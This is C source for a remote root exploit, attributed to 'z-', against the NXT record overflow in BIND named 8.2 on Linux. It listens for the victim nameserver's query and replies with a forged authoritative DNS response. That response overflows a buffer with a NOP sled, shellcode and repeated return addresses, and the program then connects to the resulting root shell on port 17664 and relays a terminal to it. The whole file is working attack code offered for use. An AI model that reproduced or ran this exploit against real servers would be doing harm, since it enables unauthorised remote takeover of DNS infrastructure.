/* Preliminary exploit for named 8.2 on linux by z-. * * thx to horizon and jayenz. * * NB: u need to get the nameserver to query the exploit, something along * the lines of: * $ nslookup asdfasdf.urdomain.com victim.server.com */ #include #include #include #include #include #include #include #include #include #include #include "dnslib.h" #include "code.h" #define DEBUG #ifndef T_NXT #define T_NXT 30 #endif int connect_portshell (struct in_addr ip); int run_shell (int fd); #define SLEEP 2 #define CODE_PORT 17664 #define RET_CNT 16 /* number of times to repeat the return address */ #define RET_POS 4133 /* distance till end of the buffer */ #define NOP 0x09 #define SA struct sockaddr typedef struct type { char *name; unsigned long ret; int arch; } type; type types[]= { {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386}, {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */ {NULL, 0, 0} }; u_int type_cnt = (sizeof (types) / sizeof (type)) - 1, victim_type = 0, shellcode_type = PORTSHELL; char *ourdomain; void pfatal (char *s); int resolv (char *hostname, struct in_addr *ip); void usage (char *prog); /* actually make the egg to overflow the data[] buffer, including nops. * returns length of egg. */ int make_egg (char *ptr) { u_int *ret_ptr; c0de *c0de_ptr; char *code; int i, codesize, arch; /* don't bother sanity checking here */ arch = types[victim_type].arch; c0de_ptr = archs[arch]; code = c0de_ptr[shellcode_type].code; codesize = c0de_ptr[shellcode_type].codesize; #ifdef DEBUG printf ("codesize = %d\n", codesize); #endif memset (ptr, NOP, RET_POS); memcpy (ptr + RET_POS - codesize, code, codesize); /* risc alignment is evil ! */ ret_ptr = (u_int *)(ptr + RET_POS); for (i = 0; i < RET_CNT; i++) *ret_ptr++ = types[victim_type].ret; return (RET_POS + 4 * RET_CNT); } /* send exploit data to 'victim'. * returns connected descriptor on succes * returns -1 on error */ int send_data (struct sockaddr_in *victim, char *buf, int len) { struct sockaddr_in sin; int fd; u_short lennbo; fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (fd < 0) return (-1); /* we need to bind to port 53 to appear as named */ bzero (&sin, sizeof (sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl (INADDR_ANY); sin.sin_port = htons (53); printf("Binding to local port 53...\n"); if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) { close (fd); return (-1); } victim->sin_port = htons (53); if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) { close (fd); return (-1); } printf("Sending packet of length %d\n", len); lennbo = htons (len); send (fd, &lennbo, sizeof(u_short), 0); if (send (fd, buf, len, 0) < len) { close (fd); return (-1); } return (fd); } /* make the dns packet to exploit named and call send_data(). * returns the result of send_data() */ int send_exploit (u_char *buf, struct sockaddr_in *victim) { u_char response[5120], query[256], tmp_str[100], *ptr, *tmp; u_short type; HEADER *hdr; ptr = buf + DNSHDRSIZE; ptr += uncompress (ptr, query, buf); GETSHORT (type, ptr) printf("Query %s type %d\n", query, type); hdr = (HEADER *)response; hdr->id = ((HEADER *)buf)->id; hdr->qr = 1; /* answer */ hdr->aa = 1; /* authoritative */ hdr->qdcount = htons (1); hdr->ancount = htons (1); hdr->nscount = htons (0); hdr->arcount = htons (1); ptr = response + sizeof (HEADER); ptr += makeqbody (query, type, ptr); /* do the answer */ switch (type) { case T_A: ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr); break; case T_PTR: case T_NS: sprintf (tmp_str, "rand0m.%s", ourdomain); ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr); break; default: printf("Krazy packetz\n"); exit(-1); } /* now do the overflow */ /* first comes the query name again. */ ptr += formatname (query, ptr); PUTSHORT (T_NXT, ptr); PUTSHORT (C_IN, ptr); PUTLONG (100000, ptr); tmp = ptr; /* tmp points to rdlength */ /* now do rdata section. */ ptr += 2; /* first any domain u want, note the length affects the ret */ ptr += formatname ("smiler", ptr); /* then the arbitrary data */ ptr += make_egg (ptr); PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */ return (send_data (victim, response, ptr - response)); } /* loop waiting for the query from 'victim'. * returns the result of send_exploit() */ int wait_for_connection (struct in_addr victim) { struct sockaddr_in from; u_char beef[512]; int fd, n, fromlen; fd = socket (AF_INET, SOCK_DGRAM, 0); if (fd < 0) pfatal ("socket"); bzero (&from, sizeof(from)); from.sin_addr.s_addr = htonl(INADDR_ANY); from.sin_port = htons(53); from.sin_family = AF_INET; if (bind (fd, (SA *)&from, sizeof(from)) < 0) return (-1); printf ("Waiting for query packet from victim...\n"); for (;;) { HEADER *ptr; fromlen = sizeof(from); n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from, &fromlen); if (n <= 0) return (-1); #ifdef DEBUG fprintf(stderr, "Packet from %s %d\n", inet_ntoa (from.sin_addr), ntohs(from.sin_port)); #endif if (from.sin_addr.s_addr != victim.s_addr) continue; #ifndef DEBUG fprintf (stderr, "Got packet from %s %d\n", inet_ntoa (from.sin_addr), ntohs (from.sin_port)); #endif ptr = (HEADER *)beef; if (ptr->qr || !ptr->qdcount) continue; close (fd); return (send_exploit (beef, &from)); break; } return (0); } void parse_opts (int argc, char **argv, struct in_addr *victim) { char *argv0, d; int arch; c0de *c0de_ptr; argv0 = strdup (argv[0]); while ((d = getopt (argc, argv, "s:t:")) != -1) { switch (d) { case 's': shellcode_type = atol (optarg); if (shellcode_type >= TYPE_MAX) { fprintf (stderr, "shellcode out of range\n"); exit (-1); } break; case 't': victim_type = atol (optarg); if (victim_type >= type_cnt) { fprintf (stderr, "No such type\n"); exit (-1); } break; } } arch = types[victim_type].arch; c0de_ptr = archs[arch]; if (c0de_ptr[shellcode_type].code == NULL) { printf ("No %s for arch %s :(\n", code_str[shellcode_type], archs_str[arch]); exit (-1); } argc -= optind; argv += optind; if (argc < 2) usage (argv0); if (!resolv (argv[0], victim)) { herror ("resolv"); exit (-1); } ourdomain = strdup (argv[1]); return; } int main (int argc, char **argv) { struct in_addr victim; int fd; puts ("NXT exploit by z-\n"); parse_opts (argc, argv, &victim); printf ("using type %d - %s\n", victim_type, types[victim_type].name); printf ("exploit arch %s\n", archs_str[types[victim_type].arch]); printf ("using %s\n", code_str[shellcode_type]); if ((fd = wait_for_connection (victim)) < 0) { perror("ERROR"); return (-1); } if (shellcode_type == PORTSHELL) { close (fd); /* get rid of domain connection */ printf("Sleeping for %d seconds\n", SLEEP); sleep (SLEEP); /* and get the portshell connection */ if ((fd = connect_portshell (victim)) < 0) { perror ("connect_portshell"); return (-1); } } if (run_shell (fd) < 0) { perror ("connect_shell"); return (-1); } return (0); } /* connects 'fd' to your term, effectively. */ int run_shell (int fd) { fd_set rset; int n; char buffer[4096]; send (fd, "/bin/uname -a\n", 14, 0); for (;;) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); n = select (fd + 1, &rset, NULL, NULL, NULL); if (n <= 0) return (-1); if (FD_ISSET (fd, &rset)) { n = recv (fd, buffer, sizeof (buffer), 0); if (n <= 0) break; write (STDOUT_FILENO, buffer, n); } if (FD_ISSET (STDIN_FILENO, &rset)) { n = read (STDIN_FILENO, buffer, sizeof (buffer)); if (n <= 0) break; send (fd, buffer, n, 0); } } return (0); } /* connect to the relevant high port. */ int connect_portshell (struct in_addr ip) { int fd; struct sockaddr_in sin; printf ("Trying to connect to root shell...\n"); fd = socket (AF_INET, SOCK_STREAM, 0); if (fd < 0) return (-1); bzero (&sin, sizeof (sin)); sin.sin_addr.s_addr = ip.s_addr; sin.sin_port = htons (CODE_PORT); sin.sin_family = AF_INET; if (connect (fd, (SA *)&sin, sizeof (sin)) < 0) return (-1); return (fd); } int resolv (char *hostname, struct in_addr *ip) { struct hostent *res; if (inet_aton (hostname, ip)) return (1); res = gethostbyname (hostname); if (res == NULL) return (0); memcpy (ip, res->h_addr, sizeof (struct in_addr)); return (1); } void usage (char *prog) { type *ptr; int ctr = 0; fprintf (stderr, "usage: %s [-t type] [-s shellcode type]\n", prog); for (ptr = types; ptr->name; ptr += 1, ctr++) { printf ("type %d: %s\n", ctr, ptr->name); } printf ("shellcode 0: portshell code\n"); printf ("shellcode 1: peername code\n"); exit(-1); } void pfatal (char *s) { perror (s); exit(-1); }